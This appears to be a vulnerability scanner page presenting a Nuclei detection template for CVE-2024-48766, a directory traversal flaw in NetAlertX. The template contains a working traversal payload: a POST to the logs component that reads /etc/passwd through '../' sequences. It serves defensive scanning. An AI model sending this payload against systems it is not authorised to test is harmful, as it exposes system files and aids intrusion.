NetAlert X - Arbitary File Read

ID: CVE-2024-48766

Severity: critical

Author: s4e-io

Tags: cve,cve2024,netalertx,lfi

Description

A directory traversal vulnerability has been identified in NetAlertX versions v24.7.18 - v24.9.12.

YAML Source

id: CVE-2024-48766

info:
  name: NetAlert X - Arbitary File Read
  author: s4e-io
  severity: critical
  description: |
    A directory traversal vulnerability has been identified in NetAlertX versions v24.7.18 - v24.9.12.
  impact: |
    This vulnerability allows remote attackers to list directories on the affected system. Successful exploitation could enable unauthorized users to explore the system’s internal structure.
  remediation: |
    Fixed in v24.10.12
  reference:
    - https://advisories.checkpoint.com/defense/advisories/public/2025/cpai-2024-1358.html
    - https://github.com/rapid7/metasploit-framework/pull/19881
    - https://github.com/jokob-sk/NetAlertX
  metadata:
    verified: true
    max-request: 1
    vendor: jokob-sk
    product: netalertx
    fofa-query: "NetAlert X"
  tags: cve,cve2024,netalertx,lfi

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /php/components/logs.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        items=[{"buttons":[{"labelStringCode":"Maint_PurgeLog","event":"logManage(app.log, cleanLog)"},{"labelStringCode":"Maint_RestartServer","event":"askRestartBackend()"}],"fileName":"{{filename}}","filePath":"../../../../..//etc/passwd","textAreaCssClass":"logs"}]

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(body, "Purge log")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d6141d123f24949cd043374811e347ee1db9b92dcbbbbca7e9ac5b5632014b32022060e7f7b8fdfb376ccc738f28a00ef62443afd3a9c456cb7e695d4cdc6530c066:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-48766.yaml"

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